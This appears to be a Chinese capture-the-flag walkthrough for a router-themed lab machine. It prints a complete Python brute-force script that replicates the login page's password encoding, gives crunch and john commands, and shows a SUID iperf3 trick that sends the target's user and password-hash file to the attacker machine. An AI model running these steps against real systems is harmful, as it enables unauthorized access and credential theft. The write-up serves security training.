正文
1、端口扫描
在kali里,使用nmap工具:
bash
nmap -sV -v -T4 -A 靶机地址

开放了22和80端口。
2、代码审计
访问页面,发现是个路由器,要求输入密码。查看忘记密码,有提示:

把网页源码扒过来:
bash
curl http://你的靶机地址/ > a.txt
精准提取文本文件里的 JavaScript 脚本块,读取 a.txt 文件的内容,只筛选并显示从 "script "标签开始、到" /script"标签结束的所有行:
bash
cat a.txt|sed -n '/<script.*>/,/<\/script>/p'
-n
sed 的关键参数 → 只显示符合条件的行(不加 -n 会默认输出所有行,筛选效果失效)。/<script.*>/,/<\/script>/
匹配范围规则:
/<script.>/ → 匹配包含 <script 开头、后面跟任意字符(.)且以 > 结尾的行(比如 行(注意:/ 在 sed 里是特殊字符,需要加 \ 转义,写成 /)。p
print 的缩写 → 打印(显示)符合范围的行。

把输出的js代码,扔给豆包,重构一份python3的脚本:

通过运行python脚本,掌握加密方法:

题目给了提示:

编写破解字典pass1.txt:
bash
crunch 8 8 -t 2000%%%% -o pass.txt
命令含义:
bash
crunch 最小长度 最大长度 -t 模板 -o 输出文件
%= 数字 0-9^= 大写字母@= 小写字母+= 符号
3、脚本攻击
编写破解密码脚本a.py:
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
脚本功能:
1. 复刻JS逻辑实现路由器密码加密
2. 批量验证密码是否正确(爆破验证)
3. 提供独立的加密函数入口
核心函数说明:
- security_encode: 核心加密函数(完全复刻JS逻辑)
- org_auth_pwd: 路由器密码加密入口函数(对外调用接口)
- login_and_check: 密码加密后调用登录接口验证是否正确
"""
import sys
import requests
from tqdm import tqdm
def security_encode(plain_pwd: str, key_str: str, char_pool: str) -> str:
"""
核心加密函数(完全复刻JS逻辑)
:param plain_pwd: 明文密码(用户输入的密码)
:param key_str: 固定密钥字符串
:param char_pool: 固定字符池字符串
:return: 加密后的密码字符串
加密逻辑步骤:
1. 初始化结果字符串和固定初始值(187)
2. 获取明文密码、密钥、字符池的长度
3. 循环次数取明文密码和密钥长度的最大值
4. 每次循环重置初始值为187,根据索引位置获取对应ASCII码:
- 索引超过明文长度 → 只用密钥字符的ASCII码
- 索引超过密钥长度 → 只用明文字符的ASCII码
- 都没超过 → 同时取明文和密钥的ASCII码
5. 核心运算:ASCII码异或 → 对字符池长度取余 → 取对应字符
6. 拼接所有字符得到加密结果
"""
# 初始化结果字符串
result = ""
# 固定初始值(JS代码中写死的 187)
default_code = 187
# 获取各个字符串长度
pwd_len = len(plain_pwd)
key_len = len(key_str)
pool_len = len(char_pool)
# 循环次数 = 明文密码 和 密钥串 的最大长度(JS: Math.max(f,g))
max_loop = max(pwd_len, key_len)
for index in range(max_loop):
# 每次循环重置为默认值 187
k_code = default_code
l_code = default_code
# 逻辑完全对应JS代码:
# 1. 如果索引超过明文长度 → 只用密钥字符
if index >= pwd_len:
l_code = ord(key_str[index])
# 2. 如果索引超过密钥长度 → 只用明文字符
elif index >= key_len:
k_code = ord(plain_pwd[index])
# 3. 都没超过 → 同时取明文和密钥的ASCII码
else:
k_code = ord(plain_pwd[index])
l_code = ord(key_str[index])
# 核心运算:异或 ^ → 对字符池长度取余 → 取出对应字符
xor_result = k_code ^ l_code
result += char_pool[xor_result % pool_len]
return result
def org_auth_pwd(plain_pwd: str) -> str:
"""
路由器密码加密入口函数(对外调用接口)
:param plain_pwd: 明文路由器登录密码
:return: 加密后可用于登录的密码
固定参数说明:
- FIXED_KEY: JS中写死的第二个密钥参数("RDpbLfCPsJZ7fiv")
- FIXED_POOL: JS中写死的第三个字符池参数(超长字符串)
"""
# 固定密钥1(JS中写死的第二个参数)
FIXED_KEY = "RDpbLfCPsJZ7fiv"
# 固定字符池(JS中写死的第三个参数)
FIXED_POOL = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW"
# 调用核心加密函数
return security_encode(plain_pwd, FIXED_KEY, FIXED_POOL)
def login_and_check(password):
"""
密码验证函数:加密密码后调用登录接口验证是否正确
:param password: 明文密码
:return: 验证结果(True=密码正确,False=密码错误)
验证流程:
1. 调用加密函数生成加密密码
2. POST请求登录接口
3. 检查返回内容是否包含"Invalid Credentials"判断是否登录成功
"""
crtpt_pass = org_auth_pwd(password)
a = requests.post("http://你的靶机地址/l061n.php",data={"password":crtpt_pass})
if 'Invalid Credentials' in a.text:
return False
else:
return True
# ------------------- 测试示例 -------------------
if __name__ == '__main__':
"""
主程序逻辑(批量密码验证):
1. 打开密码字典文件 pass1.txt(忽略编码错误)
2. 逐行读取密码并去除首尾空白字符
3. 使用tqdm显示进度条,逐个验证密码
4. 找到正确密码后打印并退出程序
备用测试逻辑(单行测试):
- 输入明文密码 → 生成加密密码 → 打印对比结果
"""
# 批量验证密码字典
f = open('pass1.txt',errors ='ignore')
for i in tqdm(f):
i = i.strip() # 去除换行符和空格
flag = login_and_check(i)
if flag:
print("[+]Found:{}".format(i))
sys.exit(0) # 找到正确密码后立即退出
a.py脚本运行后,拿到密码:20000255

给了一个用户名和密码:link:8edb7803e66fb28a982f5be410bf4f29eb0ebaf6

ssh登录,查看可执行的高权限操作:

从根目录 / 开始搜索所有文件,只找属主是 root 的文件、只找设置了 SUID 权限的文件,并且把搜索过程中产生的「权限拒绝」等错误信息重定向到黑洞:
bash
find / -user root -perm -4000 2>/dev/null

4、文件下载
利用ipferf3这个工具传文件,kali设置成服务端,下载靶场的用户名密码文件:

靶场设置成客户端,发送文件:

实现把靶场的用户及哈希密码文件下载下来。当然,也可以反着来,攻击机传文件给靶场:
靶场,作为服务端:
bash
/usr/bin/iperf3 -s -F ./a.txt
kali作为客户端:
bash
iperf3 -c 靶机地址 -F ./a.txt
5、哈希密码破解
然后hash撞库:
bash
john tmp --wordlist=xato-net-10-million-passwords.txt
拿到root密码:
